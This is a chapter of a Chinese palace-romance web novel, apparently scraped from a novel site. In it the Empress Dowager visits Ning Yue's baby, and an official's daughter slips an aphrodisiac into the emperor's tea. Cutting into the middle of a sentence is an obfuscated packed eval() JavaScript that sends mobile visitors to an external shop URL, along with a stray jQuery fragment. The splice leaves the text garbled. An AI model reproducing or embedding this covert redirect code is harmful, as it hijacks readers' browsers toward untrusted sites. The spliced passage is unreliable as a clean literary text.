眼睁睁看着梁太后离开,安怀远堆起笑脸凑到张丘面前,“张公公,你看……”
“杂家觉得太后娘娘说得对。”他打量着眼前的安怀远,又看了看一旁的安雪莹,“你们随杂家走吧。”
李显交代自己的事还是要做的。
“多谢公公。”安怀远拉起自家女儿,匆匆跟上。
另一旁的梁太后随瑞芝到了宁月那里,脸上露出发自内心的笑容,全然不复方才在长信宫时怒火中烧的模样。
宁月刚把行之哄睡,出来时没见到李显,却瞧见了梁太后与瑞芝。
“参见太后娘娘,瑞芝姑姑。”
梁太后拉起她,“不必多礼,哀家就是来看看小皇孙。”她边说边往内殿张望,一副急不可耐的模样。
宁月笑笑,同她说道,“娘娘来得巧,行之刚刚睡下,不过他觉短,大概一个时辰之后便会醒。”
梁太后一听,喜不自胜,“无妨无妨,哀家稍作一会儿便是。”
区区一个时辰而已,她等得起。
“对了,听说你与显儿吵架了?”梁太后没什么能聊的,便顺嘴一提。
“……”宁月有些无语,李显竟是与她这样说的吗?
明明是他来问自己,而后又莫名其妙生气离去,她从头到尾都没有做什么惹他生气的事。
“?”梁太后疑惑道,“怎么了?可是他们瞎传?”
她其实不认为宁月会和李显吵架,单凭宁月的性子来说,这架压根就吵不起来。
她还是更倾向于,李显自己把自己气到了。
“没有瞎传,我确实与他吵架了。”宁月讥讽一笑,“陛下想要以身为饵,破除困境,我觉得此举不妥,但陛下坚持己见,我又能有什么办法?只好随他去了……”
“什……什么以身为饵?”梁太后丈二和尚摸不着头,一脸懵。
宁月哀叹一声,悄悄做了个擦拭眼泪的动作,“民女还是不说了……这事事关皇家威严,罢了……陛下总归有自己的主意,就随他去吧。”
梁太后急了,是真着急了。
她立马握住宁月的双肩,强迫她直视自己,“告诉哀家,到底发生了什么事!”
瑞芝站在一旁也紧张得不行,“宁姑娘,您就告诉太后娘娘吧……”
“这……”宁月看看梁太后,又瞧了瞧瑞芝,“那我便说给你们听……”
她将今日发生的事悉数告知,神色委屈,语气哀哀。
“胡闹!一国之君!简直胡闹!”梁太后听完,气得直跺脚,她几欲夺门而出,却被瑞芝拦下。
“别拦我,我非要去问问他,到底想干什么!”梁太后毫不客气地对着瑞芝说道。
瑞芝一脸担忧地看着她,劝诫道,“娘娘,少安毋躁……”
梁太后完全气昏了头,堂堂一国之君,想的都是些什么龌龊法子,宁月确实是个有文化的,说得那么好听,什么以身为饵,狗屁的以身为饵!这明明就是……
她不愿再细想下去,再想下去,皇室颜面就如同一块裹了脚的臭抹布了!
万万不能让李显这么做,她必须阻止。
“太后娘娘,民女还是希望您冷静一下……”宁月见她神色激动,也忍不住出声劝告。
“你!你是个傻的吗?”梁太后折返回来,对着宁月道,“陛下是你夫君!他去做这种事……你……你为何不阻止啊?”
她是真想不通,孩子都有了,两人的相处却全然不似普通夫妻一般。
李显虽身处高位,可与宁月的感情上,却一直处于下风。
早先她觉得是宁月手段了得,没有孩子时便勾得李显忘不掉,现在孩子有了,这新鲜劲儿总该过去了吧?
嚯,没想到比从前更胜一筹。
“太后娘娘,民女愚钝,民女想请问该如何阻止陛下做他已经决定好的事呢?”
“……”
梁太后愣在原地,脑子忽然转过弯儿来。
“若太后娘娘所说的阻止,只是为了让民女撒娇讨欢,博陛下一笑,那对不住,民女确实做不来。因为即便民女如此做了,事情也依旧不会被解决,陛下上朝还是会被为难。”
“你……”
“陛下或许不知道民女想要什么,但民女却知道,陛下是想坐稳这皇位,守好这宸启江山的,既然这是陛下所愿,民女断然没有不帮他实现的道理。”
正如她所言,若是广开后宫于他有利,那便开,如果没有,那便不开。
梁太后哽咽,她确实不该对宁月发火,她反而应该夸宁月识大体,拎得清,可总觉得哪里不对……
“你说得对,是哀家一时着急,一时着急……”
殿内的宫女太监闻言均是一愣,齐齐朝这边望过来,难以置信刚刚听到的话是真的出自太后之口。
天啊!太后娘娘,给一个没有身份品阶的女子道歉?
瑞芝定定瞧着,眼睛都忘记眨,宁月却依旧面无表情,二人就这样坐在桌前,时不时喝点茶水,一个时辰很快便过去了,行之醒了。
梁太后听到动静,忍不住搓搓手,“这……可是醒了?”
宁月点头,“是,太后娘娘随我来吧。”
梁太后连忙跟上去,生怕慢一步。
*
御书房内
安怀远和安雪莹跪在下方已经一个时辰多,李显却没有丝毫让他们起身的意思。
“安爱卿今日倒是得闲啊……”下朝后还不离开,反而在宫中逗留,已经犯了大忌。
安怀远两股战战,他解释道,“臣方才带着小女去了长信宫,拜访了下太后娘娘……”他想着自己说出来怎么都比让别人传到李显耳中强。
“哦,挺好,朕的母后年纪大了,确实需要人陪着说说话。”话一顿,他瞥了一眼跪在下方的安雪莹,“不过朕这里就不必了,你们退下吧,容朕一个人静一静……”
安怀远一听要赶他们走,当下便着急起来,他起身后推搡了安雪莹一把,悄声道,“那药可带在身上了?”
“是的爹,女儿万不敢忘。”安雪莹回答。
安怀远这才欣慰点头,大胆道,“陛下,方才在长信宫,臣听闻您龙体有恙,便特意询问了太后娘娘,可否让小女伴您身侧,侍奉您……”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948576|206243||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>李显唇角勾起一抹玩味,笑问道,“母后如何说?”
安怀远咽了咽口水,决心赌一把,胡言道,“太后娘娘……准了。”
张丘站在一旁,心中咯噔一下,仿佛在安怀远身上看到了他未来的惨状。
“那便留下吧。”李显懒懒回道。
安怀远激动坏了,连忙告辞,将这里留给安雪莹。
张丘看他的雀跃模样,遗憾摇头,对他道,“安大人,杂家送你出宫。”
安怀远的好心情并没有让他忽视张丘脸上的神色,他猜测是因为方才自己撒谎说太后准了一事。
毕竟当时张丘也在场,可他并没有戳破谎言。
“张公公,待日后,我定忘不了你今日没有揭穿我一事,放心。”说罢,他还特意拍了拍他的肩膀,走到了张丘前方,活脱脱一副国丈的架势。
安雪莹见御书房内只剩下她与李显,竟一时间无法放开,变得忸怩起来。
见她不动,李显调侃,“你就站在那里侍奉?”
安雪莹小脸一红,慢腾腾朝他走过去,站在离她几步远的地方,小声问道,“陛下……可要饮些茶?”她茶艺不错。
“朕确实有些口渴,劳烦安小姐了。”李显漫不经心说道。
安雪莹跟着他走到茶台旁,却见水壶空着,“陛下,臣女先去接些水来。”
“嗯,去吧。”
安雪莹没有去就近的水房,而是绕道去了御膳房,宫人瞧出那是陛下的茶壶,没有丝毫怠慢,为她打满水后恭敬递还。
安雪莹拿着茶壶出了御膳房,揭开盖子,将准备好的药粉下入其中。
等她回到御书房时,李显还在茶台前等着她,依旧是她离开时的动作,宽阔伟岸的肩膀在烛光的照耀下显得英勇不凡。
安雪莹无法想象,被他抱在怀中是什么感觉。
她握紧壶把,迈着小步走到李显面前,“陛下恕罪,臣女回来晚了。”
“无妨,开始吧。”
安雪莹拿出自己最好的状态为李显展示茶艺。
甚至还在泡茶之余,用盖碗为他展示了一段“蝶舞”,这是安雪莹做过最好的一次,比她在家练习的时候转得还要久。
一如她的心,在看到李显第一眼时,便转了起来,至今未停。
最后,一泡弃之,第二泡被她端到了李显面前,汤色清亮,香气幽韵。
确实当得上好差,并且,安雪莹的茶艺确实值得称颂。
手法娴熟,游刃有余,私下定是花费了不少功夫。
李显赞叹之余,伸手拿起茶盏,轻轻抿了一口,随后紧接着第二口,到了第三口,这杯茶已经被他饮尽。
安雪莹心中雀跃,不是因为他饮下了加料的茶水,而是她瞧出,他对自己的茶艺确实赞赏。
这药粉是安怀远找人从苗疆弄来的,见效快,药力猛,名曰嗜情。
她默默盘算着时间,等到药效差不多发挥了,这才放下器具,走向李显,一双手先是轻轻抚上他的脸,随后又流连到胸口处。
侧站的姿势让她看不清正脸,一怒之下,安雪莹坐到了他怀中。